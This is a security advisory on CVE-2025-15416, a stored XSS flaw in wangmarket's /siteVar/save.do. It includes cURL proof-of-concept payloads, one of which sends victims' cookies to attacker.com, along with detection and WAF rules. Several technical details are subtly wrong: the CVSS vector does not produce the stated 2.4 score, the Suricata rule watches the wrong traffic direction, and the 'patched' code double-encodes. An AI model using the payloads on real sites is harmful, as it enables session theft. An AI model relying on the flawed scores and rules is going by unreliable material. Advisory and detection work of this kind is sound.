CVE-2025-15416

Executive Summary

CVE-2025-15416 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in xnx3 wangmarket up to version 6.4. The flaw resides in the /siteVar/save.do endpoint, specifically within the "Add Global Variable" handler. An attacker can inject arbitrary JavaScript code via the Remark or Variable Value parameters, which is then stored and executed in the context of any user viewing the affected page. The vendor was contacted but did not respond, and no official patch is available. The CVSS score is 2.4 (Low) due to the requirement for user interaction, but the public availability of a proof-of-concept (PoC) elevates the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone Java-based web application (wangmarket). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must click or view the injected content.
• Scope (S): Unchanged – the vulnerability does not affect other components.
• Confidentiality (C): None – no direct data theft.
• Integrity (I): Low – attacker can modify content in the victim's browser.
• Availability (A): None – no denial of service.

Threat Level: Low (CVSS 2.4) but elevated due to public PoC and lack of patch. Exploitation requires user interaction, making it a lower-priority but still actionable risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the wangmarket CMS. The /siteVar/save.do endpoint is used to create or update global variables. The application fails to sanitize user input in the Remark and Variable Value fields before storing it in the database. When an administrator or user views the page that renders these variables (e.g., the site settings or variable management interface), the injected script executes in their browser.

Attack Flow:

1. Attacker sends a POST request to /siteVar/save.do with malicious payload in Remark or Variable Value.
2. The server stores the payload without sanitization.
3. A victim (e.g., admin) navigates to a page that displays the variable.
4. The browser renders the stored payload, executing the attacker's JavaScript.

Root Cause: Lack of input validation and output encoding for user-controlled data in the variable saving functionality.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
public void saveVariable(HttpServletRequest request) {
    String remark = request.getParameter("Remark");
    String value = request.getParameter("VariableValue");
    // No sanitization or encoding
    database.save(remark, value);
}

Patched Code (Hypothetical):

// Patched: Sanitize input and encode output
public void saveVariable(HttpServletRequest request) {
    String remark = sanitizeInput(request.getParameter("Remark"));
    String value = sanitizeInput(request.getParameter("VariableValue"));
    // Encode for HTML context when rendering
    database.save(encodeForHTML(remark), encodeForHTML(value));
}

private String sanitizeInput(String input) {
    // Remove or escape HTML/JavaScript
    return input.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of wangmarket <= 6.4.
• Network access to the /siteVar/save.do endpoint.

Exploit PoC (cURL):

curl -X POST "http://target.com/siteVar/save.do" \
  -d "Remark=<script>alert('XSS')</script>&VariableValue=test"

Advanced Payload (Steal Cookies):

curl -X POST "http://target.com/siteVar/save.do" \
  -d "Remark=<img src=x onerror=document.location='http://attacker.com/steal?c='+document.cookie>&VariableValue=test"

Lab Setup:

1. Deploy wangmarket 6.4 in a Docker container.
2. Access the admin panel and navigate to the global variables section.
3. Use the above cURL commands to inject payloads.
4. Verify execution by viewing the variable list page.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /siteVar/save.do for suspicious parameters.
2. Look for <script>, <img onerror, or other HTML/JavaScript patterns in Remark or VariableValue.
3. Check web server logs for unusual referrers or user agents.

Response:

1. Isolate the affected server.
2. Review stored variables for malicious content.
3. Remove injected payloads from the database.
4. Apply input validation and output encoding as a temporary fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /siteVar/save.do with parameters containing <script>, <img, or onerror.
  • Outbound connections to attacker-controlled domains from the wangmarket server.
• File IOCs:
  • Database entries in the site_var table with HTML/JavaScript in remark or variable_value columns.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing global variables.
  • Alerts or redirects to malicious sites.

Detection Engineering

YARA Rule

rule CVE_2025_15416_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-15416 in wangmarket"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15416"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-15416 - Stored XSS in wangmarket /siteVar/save.do
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /siteVar/save.do with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /siteVar/save.do
        cs-uri-query|contains:
            - "<script>"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in variable values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15416 - Stored XSS in wangmarket /siteVar/save.do";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/siteVar/save.do"; http_uri;
    content:"Remark="; http_client_body;
    pcre:"/(<script|onerror|onload|javascript)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-15416;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the /siteVar/save.do endpoint if not required, using a web application firewall (WAF) or reverse proxy rule.
2. Apply input validation on the server side: reject or sanitize any input containing HTML tags or JavaScript event handlers.
3. Implement output encoding when rendering variable values in HTML context (e.g., use encodeForHTML() in Java).

Long-Term Fix:

• Upgrade to a patched version when available (vendor unresponsive; consider forking or replacing the software).
• Conduct a full security audit of the application for similar vulnerabilities.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/siteVar/save.do" "id:1000002,phase:2,t:urlDecodeUni,deny,status:403,msg:'CVE-2025-15416 XSS attempt blocked'"

Valters IT
Securing Digital Frontiers